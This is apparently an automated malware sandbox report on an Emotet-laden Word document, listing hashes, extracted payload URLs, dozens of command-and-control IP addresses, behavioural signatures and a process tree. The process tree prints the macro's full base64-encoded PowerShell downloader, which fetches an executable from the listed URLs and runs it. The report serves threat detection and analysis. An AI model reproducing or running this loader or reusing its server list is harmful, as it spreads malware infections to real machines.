Analysis
-
max time kernel
134s -
max time network
143s -
platform
windows10_x64 -
resource
win10 -
submitted
28-07-2020 19:32
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_0f599d109b56e630f4c3ef53180751cf1ada640dd266d6a49c659e4064482110_2020-07-28__193236._doc.doc
Resource
win7v200722
General
-
Target
emotet_e1_0f599d109b56e630f4c3ef53180751cf1ada640dd266d6a49c659e4064482110_2020-07-28__193236._doc.doc
-
Size
170KB
-
MD5
71429e907b8b83ede1a428b5c6500f26
-
SHA1
4198f614eef3774ede44d76139d8a2219d66900c
-
SHA256
0f599d109b56e630f4c3ef53180751cf1ada640dd266d6a49c659e4064482110
-
SHA512
4acf496996bbfabea4aab9e820fb09f4a3f6ec317cb006d94a1d9eb706d90b3ef8c31b3dd728c2635b793c91bf102c99ba01f38915f67ad64ab125cf29f9fec9
Malware Config
Extracted
http://megasolucoesti.com/css/8xbi/
https://matuteroofing.com/j-folder/2ZdI48222/
http://mediainmedia.com/upload/xtmvg46/
http://mgregoire.net/cgi-bin/095d075/
http://www.mobialive.com/onlineshopping/XLccr/
Extracted
emotet
179.60.229.168:443
185.94.252.13:443
189.218.165.63:80
77.90.136.129:8080
217.199.160.224:7080
104.131.41.185:8080
2.47.112.152:80
185.94.252.27:443
186.250.52.226:8080
51.255.165.160:8080
68.183.170.114:8080
191.99.160.58:80
104.131.103.37:8080
181.31.211.181:80
202.62.39.111:80
83.169.21.32:7080
87.106.46.107:8080
72.47.248.48:7080
177.75.143.112:443
190.17.195.202:80
137.74.106.111:7080
181.129.96.162:8080
82.196.15.205:8080
61.92.159.208:8080
190.6.193.152:8080
181.167.96.215:80
143.0.87.101:80
12.162.84.2:8080
212.71.237.140:8080
217.13.106.14:8080
46.214.11.172:80
114.109.179.60:80
89.32.150.160:8080
185.94.252.12:80
177.72.13.80:80
192.241.146.84:8080
189.1.185.98:8080
187.106.41.99:80
219.92.13.25:80
181.30.69.50:80
68.183.190.199:8080
212.231.60.98:80
190.181.235.46:80
157.7.199.53:8080
178.79.163.131:8080
77.55.211.77:8080
204.225.249.100:7080
170.81.48.2:80
104.236.161.64:8080
5.196.35.138:7080
190.194.242.254:443
50.28.51.143:8080
187.162.248.237:80
46.28.111.142:7080
70.32.84.74:8080
203.25.159.3:8080
190.163.31.26:80
177.144.135.2:80
177.73.0.98:443
177.139.131.143:443
177.74.228.34:80
191.182.6.118:80
94.176.234.118:443
45.161.242.102:80
149.62.173.247:8080
144.139.91.187:443
181.120.79.227:80
80.249.176.206:80
71.50.31.38:80
172.104.169.32:8080
192.241.143.52:8080
111.67.12.221:8080
190.96.118.251:443
186.70.127.199:8090
190.147.137.153:443
177.66.190.130:80
70.32.115.157:8080
Signatures
-
Executes dropped EXE 2 IoCs
Processes:
301.exeupnpcont.exepid process 684 301.exe 1468 upnpcont.exe -
Emotet Payload 2 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/684-9-0x0000000000A10000-0x0000000000A1C000-memory.dmp emotet behavioral2/memory/1468-12-0x0000000000580000-0x000000000058C000-memory.dmp emotet -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3588 WINWORD.EXE 3588 WINWORD.EXE -
Blacklisted process makes network request 2 IoCs
Processes:
powersheLL.exeflow pid process 10 3092 powersheLL.exe 18 3092 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 3092 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powersheLL.exeupnpcont.exepid process 3092 powersheLL.exe 3092 powersheLL.exe 3092 powersheLL.exe 1468 upnpcont.exe 1468 upnpcont.exe 1468 upnpcont.exe 1468 upnpcont.exe 1468 upnpcont.exe 1468 upnpcont.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
301.exedescription pid process target process PID 684 wrote to memory of 1468 684 301.exe upnpcont.exe PID 684 wrote to memory of 1468 684 301.exe upnpcont.exe PID 684 wrote to memory of 1468 684 301.exe upnpcont.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Drops file in System32 directory 1 IoCs
Processes:
301.exedescription ioc process File opened for modification C:\Windows\SysWOW64\expsrv\upnpcont.exe 301.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
WINWORD.EXE301.exeupnpcont.exepid process 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 3588 WINWORD.EXE 684 301.exe 684 301.exe 1468 upnpcont.exe 1468 upnpcont.exe -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3092 3192 powersheLL.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_0f599d109b56e630f4c3ef53180751cf1ada640dd266d6a49c659e4064482110_2020-07-28__193236._doc.doc" /o ""1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABNAFMASQBYAEMAbAB2AGMAPQAnAE0AVABXAEUAQwBnAHMAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAFUAcgBpAFQAeQBQAFIAYABPAFQATwBgAEMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABBAEYASABGAEcAdgBxAGgAIAA9ACAAJwAzADAAMQAnADsAJABDAFMAWABNAEwAdwBqAHoAPQAnAEIARwBKAFUAWgBtAGMAcAAnADsAJABPAFQATABSAEQAdQBmAHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEEARgBIAEYARwB2AHEAaAArACcALgBlAHgAZQAnADsAJABSAFEAWgBXAEEAYQB0AHcAPQAnAFYAQwBCAE4AVQBuAGgAZQAnADsAJABFAEMAUABSAE8AdQBhAGEAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AVwBlAEIAQwBMAGkARQBuAHQAOwAkAFUAVwBTAFIAQgB0AGoAZgA9ACcAaAB0AHQAcAA6AC8ALwBtAGUAZwBhAHMAbwBsAHUAYwBvAGUAcwB0AGkALgBjAG8AbQAvAGMAcwBzAC8AOAB4AGIAaQAvACoAaAB0AHQAcABzADoALwAvAG0AYQB0AHUAdABlAHIAbwBvAGYAaQBuAGcALgBjAG8AbQAvAGoALQBmAG8AbABkAGUAcgAvADIAWgBkAEkANAA4ADIAMgAyAC8AKgBoAHQAdABwADoALwAvAG0AZQBkAGkAYQBpAG4AbQBlAGQAaQBhAC4AYwBvAG0ALwB1AHAAbABvAGEAZAAvAHgAdABtAHYAZwA0ADYALwAqAGgAdAB0AHAAOgAvAC8AbQBnAHIAZQBnAG8AaQByAGUALgBuAGUAdAAvAGMAZwBpAC0AYgBpAG4ALwAwADkANQBkADAANwA1AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbQBvAGIAaQBhAGwAaQB2AGUALgBjAG8AbQAvAG8AbgBsAGkAbgBlAHMAaABvAHAAcABpAG4AZwAvAFgATABjAGMAcgAvACcALgAiAFMAYABwAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBHAFgAQgBTAG0AdgBhAD0AJwBDAFoAWABTAEEAcgB6AHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEgATgBGAEsARwBrAG8AaQAgAGkAbgAgACQAVQBXAFMAUgBCAHQAagBmACkAewB0AHIAeQB7ACQARQBDAFAAUgBPAHUAYQBhAC4AIgBEAE8AdwBuAGAATABgAE8AQQBEAEYASQBsAEUAIgAoACQASABOAEYASwBHAGsAbwBpACwAIAAkAE8AVABMAFIARAB1AGYAcQApADsAJABKAEcAUwBYAFQAbwB1AG4APQAnAFkATwBNAFYATQB1AGgAbgAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAE8AVABMAFIARAB1AGYAcQApAC4AIgBMAGAARQBuAEcAVABoACIAIAAtAGcAZQAgADIANgA3ADgANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBSAGAARQBhAFQARQAiACgAJABPAFQATABSAEQAdQBmAHEAKQA7ACQAUABZAE4AQgBBAG0AcQB3AD0AJwBDAEMASwBOAFkAeAB4AHkAJwA7AGIAcgBlAGEAawA7ACQAUgBOAEkARwBGAHAAdwBsAD0AJwBIAE0AQwBMAE0AaQBlAGYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBGAFIASwBDAHMAcQBrAD0AJwBPAEEATgBZAFAAdwB1AHcAJwA=1⤵
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
-
C:\Users\Admin\301.exeC:\Users\Admin\301.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\expsrv\upnpcont.exe"C:\Windows\SysWOW64\expsrv\upnpcont.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\301.exe
-
C:\Users\Admin\301.exe
-
C:\Windows\SysWOW64\expsrv\upnpcont.exe
-
memory/684-9-0x0000000000A10000-0x0000000000A1C000-memory.dmpFilesize
48KB
-
memory/1468-12-0x0000000000580000-0x000000000058C000-memory.dmpFilesize
48KB
-
memory/1468-10-0x0000000000000000-mapping.dmp
-
memory/3588-3-0x000001D670E95000-0x000001D670E9A000-memory.dmpFilesize
20KB
-
memory/3588-6-0x000001D670E90000-0x000001D670E95000-memory.dmpFilesize
20KB
-
memory/3588-5-0x000001D670E90000-0x000001D670E95000-memory.dmpFilesize
20KB
-
memory/3588-4-0x000001D670E90000-0x000001D670E95000-memory.dmpFilesize
20KB
-
memory/3588-0-0x000001D670C4B000-0x000001D670C50000-memory.dmpFilesize
20KB
-
memory/3588-2-0x000001D670E95000-0x000001D670E9A000-memory.dmpFilesize
20KB
-
memory/3588-1-0x000001D670C4B000-0x000001D670C50000-memory.dmpFilesize
20KB